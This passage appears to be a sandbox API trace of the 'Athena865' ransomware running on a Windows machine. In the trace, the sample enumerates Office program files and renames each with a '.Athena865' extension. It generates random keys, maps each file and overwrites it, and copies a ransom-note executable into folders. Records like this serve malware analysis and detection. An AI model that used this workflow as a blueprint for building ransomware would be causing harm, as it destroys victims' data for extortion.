RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.692] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0086.694] CloseHandle (hObject=0x154) returned 1 [0086.694] CloseHandle (hObject=0x17c) returned 1 [0086.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.695] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50bfc800, ftCreationTime.dwHighDateTime=0x1cbb888, ftLastAccessTime.dwLowDateTime=0xd102bf60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50bfc800, ftLastWriteTime.dwHighDateTime=0x1cbb888, nFileSizeHigh=0x0, nFileSizeLow=0xefa180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISBRGR.DLL", cAlternateFileName="")) returned 1 [0086.695] lstrcmpiW (lpString1="VISBRGR.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.695] lstrcmpiW (lpString1="VISBRGR.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.695] lstrcpyW (in: lpString1=0x241e89e, lpString2="VISBRGR.DLL" | out: lpString1="VISBRGR.DLL") returned="VISBRGR.DLL" [0086.695] lstrlenW (lpString="VISBRGR.DLL") returned 11 [0086.695] lstrlenW (lpString="Athena865") returned 9 [0086.695] lstrcmpiW (lpString1="SBRGR.DLL", lpString2="Athena865") returned 1 [0086.695] lstrlenW (lpString=".dll") returned 4 [0086.695] lstrcmpiW (lpString1="VISBRGR.DLL", lpString2=".dll") returned 1 [0086.695] lstrlenW (lpString=".lnk") returned 4 [0086.695] lstrcmpiW (lpString1="VISBRGR.DLL", lpString2=".lnk") returned 1 [0086.695] lstrlenW (lpString=".ini") returned 4 [0086.695] lstrcmpiW (lpString1="VISBRGR.DLL", lpString2=".ini") returned 1 [0086.695] lstrlenW (lpString=".sys") returned 4 [0086.695] lstrcmpiW (lpString1="VISBRGR.DLL", lpString2=".sys") returned 1 [0086.695] lstrlenW (lpString="VISBRGR.DLL") returned 11 [0086.695] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VISBRGR.DLL.Athena865") returned 64 [0086.695] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISBRGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\visbrgr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISBRGR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\visbrgr.dll.athena865"), dwFlags=0x1) returned 1 [0086.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISBRGR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\visbrgr.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.697] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15704448) returned 1 [0086.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.697] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.698] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.698] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.698] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xefa480, lpName=0x0) returned 0x154 [0086.700] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0xe00000, dwNumberOfBytesToMap=0xfa480) returned 0x2d50000 [0086.831] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.832] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.832] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.832] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.832] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.832] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.832] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.832] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.832] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.832] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.833] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0086.842] CloseHandle (hObject=0x154) returned 1 [0086.842] CloseHandle (hObject=0x17c) returned 1 [0086.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.850] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff0d00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd10520c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ff0d00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x4b370, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISCOLOR.DLL", cAlternateFileName="")) returned 1 [0086.850] lstrcmpiW (lpString1="VISCOLOR.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.851] lstrcmpiW (lpString1="VISCOLOR.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.851] lstrcpyW (in: lpString1=0x241e89e, lpString2="VISCOLOR.DLL" | out: lpString1="VISCOLOR.DLL") returned="VISCOLOR.DLL" [0086.851] lstrlenW (lpString="VISCOLOR.DLL") returned 12 [0086.851] lstrlenW (lpString="Athena865") returned 9 [0086.851] lstrcmpiW (lpString1="COLOR.DLL", lpString2="Athena865") returned 1 [0086.851] lstrlenW (lpString=".dll") returned 4 [0086.851] lstrcmpiW (lpString1="VISCOLOR.DLL", lpString2=".dll") returned 1 [0086.851] lstrlenW (lpString=".lnk") returned 4 [0086.851] lstrcmpiW (lpString1="VISCOLOR.DLL", lpString2=".lnk") returned 1 [0086.851] lstrlenW (lpString=".ini") returned 4 [0086.851] lstrcmpiW (lpString1="VISCOLOR.DLL", lpString2=".ini") returned 1 [0086.851] lstrlenW (lpString=".sys") returned 4 [0086.851] lstrcmpiW (lpString1="VISCOLOR.DLL", lpString2=".sys") returned 1 [0086.851] lstrlenW (lpString="VISCOLOR.DLL") returned 12 [0086.851] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VISCOLOR.DLL.Athena865") returned 65 [0086.851] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISCOLOR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\viscolor.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISCOLOR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\viscolor.dll.athena865"), dwFlags=0x1) returned 1 [0086.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISCOLOR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\viscolor.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.853] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=308080) returned 1 [0086.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.854] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.854] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.854] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.855] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b670, lpName=0x0) returned 0x154 [0086.856] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b670) returned 0x2d50000 [0086.866] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.867] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.867] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.867] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.867] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.868] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.868] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.868] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.868] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0086.870] CloseHandle (hObject=0x154) returned 1 [0086.870] CloseHandle (hObject=0x17c) returned 1 [0086.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.872] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda57df00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd109e380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xda57df00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x38560, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISDLGU.DLL", cAlternateFileName="")) returned 1 [0086.872] lstrcmpiW (lpString1="VISDLGU.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.872] lstrcmpiW (lpString1="VISDLGU.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.872] lstrcpyW (in: lpString1=0x241e89e, lpString2="VISDLGU.DLL" | out: lpString1="VISDLGU.DLL") returned="VISDLGU.DLL" [0086.872] lstrlenW (lpString="VISDLGU.DLL") returned 11 [0086.872] lstrlenW (lpString="Athena865") returned 9 [0086.872] lstrcmpiW (lpString1="SDLGU.DLL", lpString2="Athena865") returned 1 [0086.872] lstrlenW (lpString=".dll") returned 4 [0086.872] lstrcmpiW (lpString1="VISDLGU.DLL", lpString2=".dll") returned 1 [0086.872] lstrlenW (lpString=".lnk") returned 4 [0086.872] lstrcmpiW (lpString1="VISDLGU.DLL", lpString2=".lnk") returned 1 [0086.872] lstrlenW (lpString=".ini") returned 4 [0086.872] lstrcmpiW (lpString1="VISDLGU.DLL", lpString2=".ini") returned 1 [0086.872] lstrlenW (lpString=".sys") returned 4 [0086.872] lstrcmpiW (lpString1="VISDLGU.DLL", lpString2=".sys") returned 1 [0086.872] lstrlenW (lpString="VISDLGU.DLL") returned 11 [0086.872] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VISDLGU.DLL.Athena865") returned 64 [0086.872] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISDLGU.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\visdlgu.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISDLGU.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\visdlgu.dll.athena865"), dwFlags=0x1) returned 1 [0086.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISDLGU.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\visdlgu.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.873] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=230752) returned 1 [0086.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.874] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.874] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.875] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.875] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x38860, lpName=0x0) returned 0x154 [0086.876] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x38860) returned 0x170000 [0086.884] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.885] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.885] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.889] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c480800, ftCreationTime.dwHighDateTime=0x1cba5d6, ftLastAccessTime.dwLowDateTime=0xd11107a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5c480800, ftLastWriteTime.dwHighDateTime=0x1cba5d6, nFileSizeHigh=0x0, nFileSizeLow=0xd5760, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISGRF.DLL", cAlternateFileName="")) returned 1 [0086.889] lstrcmpiW (lpString1="VISGRF.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.889] lstrcmpiW (lpString1="VISGRF.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.889] lstrcpyW (in: lpString1=0x241e89e, lpString2="VISGRF.DLL" | out: lpString1="VISGRF.DLL") returned="VISGRF.DLL" [0086.889] lstrlenW (lpString="VISGRF.DLL") returned 10 [0086.889] lstrlenW (lpString="Athena865") returned 9 [0086.889] lstrcmpiW (lpString1="ISGRF.DLL", lpString2="Athena865") returned 1 [0086.889] lstrlenW (lpString=".dll") returned 4 [0086.889] lstrcmpiW (lpString1="VISGRF.DLL", lpString2=".dll") returned 1 [0086.889] lstrlenW (lpString=".lnk") returned 4 [0086.889] lstrcmpiW (lpString1="VISGRF.DLL", lpString2=".lnk") returned 1 [0086.889] lstrlenW (lpString=".ini") returned 4 [0086.889] lstrcmpiW (lpString1="VISGRF.DLL", lpString2=".ini") returned 1 [0086.889] lstrlenW (lpString=".sys") returned 4 [0086.889] lstrcmpiW (lpString1="VISGRF.DLL", lpString2=".sys") returned 1 [0086.889] lstrlenW (lpString="VISGRF.DLL") returned 10 [0086.889] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VISGRF.DLL.Athena865") returned 63 [0086.889] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISGRF.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\visgrf.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISGRF.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\visgrf.dll.athena865"), dwFlags=0x1) returned 1 [0086.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISGRF.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\visgrf.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.891] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=874336) returned 1 [0086.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.891] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.892] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.892] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.892] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd5a60, lpName=0x0) returned 0x154 [0086.894] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd5a60) returned 0x2d50000 [0086.921] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.922] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.922] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.922] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.933] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2284b00, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd115ca60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf2284b00, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x11bd60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISICON.EXE", cAlternateFileName="")) returned 1 [0086.933] lstrcmpiW (lpString1="VISICON.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.933] lstrcmpiW (lpString1="VISICON.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.933] lstrcpyW (in: lpString1=0x241e89e, lpString2="VISICON.EXE" | out: lpString1="VISICON.EXE") returned="VISICON.EXE" [0086.933] lstrlenW (lpString="VISICON.EXE") returned 11 [0086.933] lstrlenW (lpString="Athena865") returned 9 [0086.933] lstrcmpiW (lpString1="SICON.EXE", lpString2="Athena865") returned 1 [0086.933] lstrlenW (lpString=".dll") returned 4 [0086.933] lstrcmpiW (lpString1="VISICON.EXE", lpString2=".dll") returned 1 [0086.933] lstrlenW (lpString=".lnk") returned 4 [0086.933] lstrcmpiW (lpString1="VISICON.EXE", lpString2=".lnk") returned 1 [0086.933] lstrlenW (lpString=".ini") returned 4 [0086.933] lstrcmpiW (lpString1="VISICON.EXE", lpString2=".ini") returned 1 [0086.933] lstrlenW (lpString=".sys") returned 4 [0086.933] lstrcmpiW (lpString1="VISICON.EXE", lpString2=".sys") returned 1 [0086.933] lstrlenW (lpString="VISICON.EXE") returned 11 [0086.934] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VISICON.EXE.Athena865") returned 64 [0086.934] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISICON.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\visicon.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISICON.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\visicon.exe.athena865"), dwFlags=0x1) returned 1 [0086.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISICON.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\visicon.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.935] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1162592) returned 1 [0086.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.935] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.936] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.936] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.936] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11c060, lpName=0x0) returned 0x154 [0086.937] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11c060) returned 0x2d50000 [0086.985] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.985] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.985] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.986] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0087.004] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x504da6a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x504da6a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Visio Content", cAlternateFileName="VISIOC~1")) returned 1 [0087.004] lstrcmpiW (lpString1="Visio Content", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0087.004] lstrcmpiW (lpString1="Visio Content", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0087.004] lstrcpyW (in: lpString1=0x241e89e, lpString2="Visio Content" | out: lpString1="Visio Content") returned="Visio Content" [0087.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b7c8 [0087.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x502c28 [0087.004] lstrcatW (in: lpString1="Visio Content", lpString2="\\" | out: lpString1="Visio Content\\") returned="Visio Content\\" [0087.004] lstrcatW (in: lpString1="Visio Content\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Visio Content\\HOW TO BACK YOUR FILES.exe") returned="Visio Content\\HOW TO BACK YOUR FILES.exe" [0087.004] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\HOW TO BACK YOUR 